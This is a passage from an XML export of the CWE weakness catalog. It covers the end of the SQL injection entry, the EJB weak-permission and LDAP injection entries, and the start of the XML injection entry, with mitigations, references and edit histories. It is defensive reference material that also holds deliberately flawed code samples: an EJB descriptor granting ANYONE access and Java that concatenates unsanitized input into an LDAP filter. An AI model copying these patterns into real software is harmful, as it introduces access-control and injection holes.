					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "SQL Queries", Page 431.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 17, "SQL Injection", Page 1061.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>SQL injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>SQL Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>SQL injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>SQL Injection </Mapped_Node_Name>
					          <Mapped_Node_ID>19</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path has:</Text>
					          <Block>
						            <Text>1. start statement that accepts input and</Text>
						            <Text>2. end statement that performs an SQL command where</Text>
						            <Block>
							              <Text>a. the input is part of the SQL command and</Text>
							              <Text>b. input contains SQL syntax (esp. query separator)</Text>
						            </Block>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>108</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>109</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>110</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>470</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>66</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>7</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Modes_of_Introduction, Name, Relationships, Other_Notes, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Enabling_Factors_for_Exploitation, Modes_of_Introduction, Name,
						Observed_Examples, Other_Notes, Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Name,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Detection_Factors,
						Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Detection_Factors, Name, Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">SQL
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Failure to Sanitize Data into
						SQL Queries (aka 'SQL Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Failure to Sanitize Data
						within SQL Queries (aka 'SQL Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Preserve SQL Query
						Structure (aka 'SQL Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-07-27">Failure to Preserve SQL Query
						Structure ('SQL Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Improper Sanitization of
						Special Elements used in an SQL Command ('SQL
						Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="9" Name="J2EE Misconfiguration: Weak Access Permissions for EJB Methods" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>If elevated access rights are assigned to EJB methods, then an
					attacker can take advantage of the permissions to exploit the software
					system.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>266</Relationship_Target_ID>
					          <!--Incorrect Privilege Assignment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>4</Relationship_Target_ID>
					          <!--J2EE Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Other_Notes>
				        <Note>
					          <Text>If the EJB deployment descriptor contains one or more method permissions
						that grant access to the special ANYONE role, it indicates that access
						control for the application has not been fully thought through or that the
						application is structured in such a way that reasonable access control
						restrictions are impossible.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to EJB methods. Permission to invoke EJB methods should not be granted
							to the ANYONE role.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following deployment descriptor grants ANYONE permission to
						invoke the Employee EJB's method named getSalary().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;ejb-jar&gt;</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>&lt;assembly-descriptor&gt;</Code>
								                <Block>
									                  <Code>&lt;method-permission&gt;</Code>
									                  <Block>
										                    <Code>&lt;role-name&gt;ANYONE&lt;/role-name&gt;</Code>
										                    <Code>&lt;method&gt;</Code>
										                    <Code>&lt;ejb-name&gt;Employee&lt;/ejb-name&gt;</Code>
										                    <Code>&lt;method-name&gt;getSalary&lt;/method-name&gt;</Code>
									                  </Block>
									                  <Code>&lt;/method-permission&gt;</Code>
								                </Block>
								                <Code>&lt;/assembly-descriptor&gt;</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>&lt;/ejb-jar&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>J2EE Misconfiguration: Weak Access
						Permissions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">J2EE Misconfiguration: Weak
						Access Permissions</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="90" Name="Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software constructs all or part of an LDAP query using
					externally-influenced input from an upstream component, but it does not
					neutralize or incorrectly neutralizes special elements that could modify the
					intended LDAP query when it is sent to a downstream
					component.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>77</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in a Command ('Command Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>713</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A2 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>810</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A1 - Injection-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Factors: resultant to special character mismanagement, MAID, or
						blacklist/whitelist problems. Can be primary to authentication and
						verification errors.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Technology_Name="Database-Server"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could include input that changes the LDAP query which
							allows unintended commands or code to be executed, allows sensitive data
							to be read or modified or causes other unintended behavior.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The code below constructs an LDAP query using user input address
						data:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>context = new InitialDirContext(env);</Code>
							              <Code>String searchFilter = "StreetAddress=" + address;</Code>
							              <Code>NamingEnumeration answer = context.search(searchBase,
								searchFilter, searchCtls);</Code>
						            </Block>
						            <Text> Because the code fails to neutralize the address string used to
							construct the query, an attacker can supply an address that includes
							additional LDAP queries.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2301</Observed_Example_Reference>
					          <Observed_Example_Description> Server does not properly escape LDAP queries,
						which allows remote attackers to cause a DoS and possibly conduct an LDAP
						injection attack. </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-reported. This is likely found very frequently by third party code
						auditors, but there are very few publicly reported examples.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>SPI Dynamics</Reference_Author>
					          <Reference_Title>Web Applications and LDAP Injection</Reference_Title>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>LDAP injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>LDAP Injection </Mapped_Node_Name>
					          <Mapped_Node_ID>29</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>136</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Name,
						Potential_Mitigations, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">LDAP
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Data into
						LDAP Queries (aka 'LDAP Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Sanitize Data into
						LDAP Queries ('LDAP Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="91" Name="XML Injection (aka Blind XPath Injection)" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly neutralize special elements that
					are used in XML, allowing attackers to modify the syntax, content, or commands
					of the XML before it is processed by an end system.</Description_Summary>
				        <Extended_Description>
					          <Text>Within XML, special elements could include reserved words or characters
						such as "&lt;", "&gt;", """, and "&amp;", which could then be
						used to add new data or modify XML syntax.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>713</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A2 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
